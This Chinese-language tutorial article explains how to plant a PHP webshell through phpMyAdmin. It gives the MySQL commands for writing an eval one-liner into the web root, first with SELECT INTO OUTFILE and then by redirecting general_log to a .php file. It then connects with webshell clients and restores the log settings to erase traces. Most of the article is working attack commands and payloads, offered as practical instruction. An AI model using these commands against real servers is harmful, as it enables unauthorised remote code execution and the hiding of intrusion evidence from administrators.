溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

phpmyadmin中怎么獲取shell

發(fā)布時間:2021-06-30 14:58:41 來源:億速云 閱讀:572 作者:Leah 欄目:網(wǎng)絡(luò)安全

本篇文章給大家分享的是有關(guān)phpmyadmin中怎么獲取shell,小編覺得挺實用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

一、select into outfile直接寫入

1、利用條件

對web目錄需要有寫權(quán)限能夠使用單引號(root)

知道網(wǎng)站絕對路徑(phpinfo/php探針/通過報錯等)

secure_file_priv沒有具體值

2、查看secure_file_priv值

show global variables like '%secure%';

phpmyadmin中怎么獲取shell

關(guān)于secure_file_priv配置介紹:

secure_file_priv 是用來限制 load dumpfile、into outfile、load_file() 函數(shù)在哪個目錄下?lián)碛猩蟼骰蛘咦x取文件的權(quán)限

當(dāng) secure_file_priv 的值為 NULL ,表示限制 mysqld 不允許導(dǎo)入|導(dǎo)出,此時無法提權(quán)
當(dāng) secure_file_priv 的值為 /tmp/ ,表示限制 mysqld 的導(dǎo)入|導(dǎo)出只能發(fā)生在 /tmp/ 目錄下,此時也無法提權(quán)
當(dāng) secure_file_priv 的值沒有具體值時,表示不對 mysqld 的導(dǎo)入|導(dǎo)出做限制,此時可提權(quán)

我這里的secure_file_priv值為NULL,所以不能夠?qū)牖驅(qū)С?/p>

phpmyadmin中怎么獲取shell

secure_file_priv這個值是只讀變量,只能通過配置文件修改。如果管理員沒有配置,那么我們是無法進(jìn)行寫入shell的,這里我為了測試能否寫入修改一下

在MySQL的配置文件my.ini中進(jìn)行配置:

phpmyadmin中怎么獲取shell

修改后secure_file_priv的值如圖所示:

phpmyadmin中怎么獲取shell

3、寫入一句話

select '<?php @eval($POST[1]); ?>' INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\a.php'

這里需要注意的一個點是路徑需要用"\\"

phpmyadmin中怎么獲取shell

查看下根目錄

phpmyadmin中怎么獲取shell

二、利用全局日志寫shell

1、查看配置

查看mysql的日志狀態(tài),默認(rèn)是關(guān)閉的,因為這個日志的量非常大對資源是一個比較大的開銷

SHOW VARIABLES LIKE '%general%'

general_log_file為日志保存的位置

phpmyadmin中怎么獲取shell

2、開啟general_log模式

開啟general_log 的作用:開啟它可以記錄用戶輸入的每條命令,會把其保存在C:\phpStudy\MySQL\data\stu1.log的文件中,其實就是我們常說的日志文件利用思路:開啟general_log之后把general_log_file的值修改為該網(wǎng)站默認(rèn)路徑下的某一個自定義的php文件中,然后通過log日志進(jìn)行寫入一句話木馬,然后再進(jìn)一步利用

這里注意:在修改log路徑前,源路徑一定要提前記錄下來,我們獲取shell后還要恢復(fù)原來的路徑

set global general_log = on;

phpmyadmin中怎么獲取shell

再查看一下日志已經(jīng)開啟,這時我們就可以通過全局日志寫shell進(jìn)根目錄

phpmyadmin中怎么獲取shell

3、修改日志目錄為shell地址

set global general_log_file='C:\\phpStudy\\MySQL\\data\\shell.php';

phpmyadmin中怎么獲取shell

4、寫入shell

因為開啟了日志記錄功能,所執(zhí)行的sql語句都會被記錄在日志中

select '<?php eval($_POST[cmd]);?>'

phpmyadmin中怎么獲取shell

查看下日志,發(fā)現(xiàn)sql語句已經(jīng)被記錄到了日志中,直接用菜刀或者蟻劍連接即可

phpmyadmin中怎么獲取shell

5、抹除痕跡

set global general_log_file='C:\\phpStudy\\MySQL\\data\\stu1.log';
set global general_log = off;

phpmyadmin中怎么獲取shell

phpmyadmin中怎么獲取shell

再使用日志查看命令發(fā)現(xiàn)已經(jīng)恢復(fù)

SHOW VARIABLES LIKE '%general%'

phpmyadmin中怎么獲取shell

以上就是phpmyadmin中怎么獲取shell,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降摹OM隳芡ㄟ^這篇文章學(xué)到更多知識。更多詳情敬請關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI